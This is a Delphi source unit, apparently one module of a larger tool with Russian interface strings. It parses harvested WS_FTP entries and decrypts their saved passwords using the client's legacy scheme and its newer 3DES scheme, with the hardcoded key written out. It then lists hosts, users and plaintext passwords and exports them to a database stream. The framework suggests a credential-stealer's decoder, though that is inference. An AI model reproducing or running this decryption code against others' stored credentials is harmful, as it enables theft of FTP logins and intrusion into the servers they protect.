unit Mod_WS_FTP;

interface

uses
  Windows, Mod_Common, Classes, SysUtils, DCPdes, xBase;

type
  PWS_FTPItem = ^TWS_FTPItem;
  TWS_FTPItem = record
    Host: String;
    User: String;
    Password: String;
  end;

  TModuleWS_FTP = class(TModule)
  private
    procedure FreeFTPList;
    function DecryptPass(const Pass: String): String;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;    
  public
    FTPList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;        
  end;

implementation

const
  TYPE_WS_FTP_HOST	= 0;
  TYPE_WS_FTP_USER	= 1;
  TYPE_WS_FTP_PASS	= 2;

{ TModuleWS_FTP }

function TModuleWS_FTP.DecryptPass(const Pass: String): String;
  function OldDecrypt(Passwd: PChar): String;
  var
    EAX, EDX, ESI, EBX, ESPplus10, Offset, i: Cardinal;
  begin
    EDX := 0;
    ESI := 0;
    Offset := 1;
    Result := '';
    i := 33;
    while i < StrLen(Passwd) do begin
       EAX := ESI;
       ESI := ESI + 2;
       EAX := (EAX-EDX) shr 1;
       ESPplus10 := EAX;
       EAX := Ord(Passwd[i]);
       if (EAX > $39) then EAX := EAX - $37 else EAX := EAX-$30;
       EBX := EAX shl 4;
       if (i < StrLen(Passwd)-1) then begin
         EAX := Ord(Passwd[i+1]);
         if (EAX > $39) then EAX := EAX - $37 else EAX := EAX-$30;
         EBX := EBX+EAX;
         EAX := Ord(Passwd[Offset]) and $3F;
         Inc(Offset);
         EBX := EBX-EAX-ESPplus10;
         Result := Result + Chr(EBX);
       end;
      i := i + 2;
    end;
  end;

  function NewDecrypt(Passwd: String): String;
  const
    key: array[0..23] of Byte = ($E1, $F0, $C3, $D2, $A5, $B4, $87, $96,
                                 $69, $78, $4B, $5A, $2D, $3C, $0F, $1E,
                                 $34, $12, $78, $56, $AB, $90, $EF, $CD);
  var
    Cipher: TDCP_3des;
  begin
    Delete(Passwd, 1, 1);
    Passwd := DecodeBase64(Passwd);
    SetLength(Result, Length(Passwd));
    Cipher := TDCP_3des.Create(nil);
    Cipher.Init(key, 192, @key[16]);
    Cipher.DecryptCBC(Passwd[1], Result[1], Length(Passwd));
    Cipher.Free;
    Result := Trim(Result);
  end;

begin
  Result := '';
  if Length(Pass) < 2 then Exit;
  if Pass[1] <> '_' then
    Result := OldDecrypt(PChar(Pass))
  else
    Result := NewDecrypt(PChar(Pass));  
end;

destructor TModuleWS_FTP.Destroy;
begin
  FreeFTPList;
  inherited;
end;

procedure TModuleWS_FTP.FreeFTPList;
var
  i: Integer;
begin
  if FTPList = nil then Exit;
  for i := 0 to FTPList.Count-1 do begin
    with PWS_FTPItem(FTPList.Items[i])^ do begin
      Host := '';
      User := '';
      Password := '';
    end;
    Dispose(FTPList.Items[i]);
  end;
  FTPList.Free;
end;

procedure TModuleWS_FTP.Run;
var
  DataItem: TDataItem;
  P: PWS_FTPItem;
begin
  inherited;

  FTPList := TList.Create;
  P := nil;

  while HasMoreData do begin
    DataItem := ReadData;
    case DataItem.cType of
      TYPE_WS_FTP_HOST: begin
        New(P);
        P.Host := DataItem.Data;
        FTPList.Add(P);
      end;
      TYPE_WS_FTP_USER: if P <> nil then
        P.User := DataItem.Data;
      TYPE_WS_FTP_PASS: if P <> nil then
        P.Password := DecryptPass(DataItem.Data);
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

function TModuleWS_FTP.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  
  for i := 0 to FTPList.Count-1 do begin
    Result := Result + 'Host: ' + PWS_FTPItem(FTPList.Items[i]).Host + #13#10;
    Result := Result + 'User: ' + PWS_FTPItem(FTPList.Items[i]).User + #13#10;
    Result := Result + 'Password: ' + PWS_FTPItem(FTPList.Items[i]).Password + #13#10;
    Result := Result + #13#10;
  end;
end;

procedure TModuleWS_FTP.GetAsTree;
var
  i: Integer;
begin
  Append(ModuleName, 'Этот модуль содержит пароли WS_FTP', ICON_FOLDER);
  MoveIn;
  for i := 0 to FTPList.Count-1 do
    Append(PWS_FTPItem(FTPList.Items[i]).Host, GenHTMLList([
      'Хост: ' + PWS_FTPItem(FTPList.Items[i]).Host,
      'Пользователь: ' + PWS_FTPItem(FTPList.Items[i]).User,
      'Пароль: ' + PWS_FTPItem(FTPList.Items[i]).Password]), ICON_WS_FTP);
  MoveOut;
end;

class function TModuleWS_FTP.GetModuleName: String;
begin
  Result := 'WS_FTP';
end;

class function TModuleWS_FTP.GetModuleID: Integer;
begin
  Result := MODULE_WS_FTP;
end;

class function TModuleWS_FTP.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleWS_FTP.GetIsEmpty: Boolean;
begin
  Result := FTPList.Count = 0;
end;

procedure TModuleWS_FTP.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([FTPList.Count]);
  for i := 0 to FTPList.Count-1 do
    with PWS_FTPItem(FTPList.Items[i])^ do
      ExportData([Host, User, Password]);
end;

procedure TModuleWS_FTP.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P: PWS_FTPItem;
begin
  inherited;

  FTPList := TList.Create;

  for i := 0 to ImportData-1 do begin
    New(P); FTPList.Add(P);
    with P^ do begin
      Host := ImportData;
      User := ImportData;
      Password := ImportData;
    end;
  end;

end;

end.
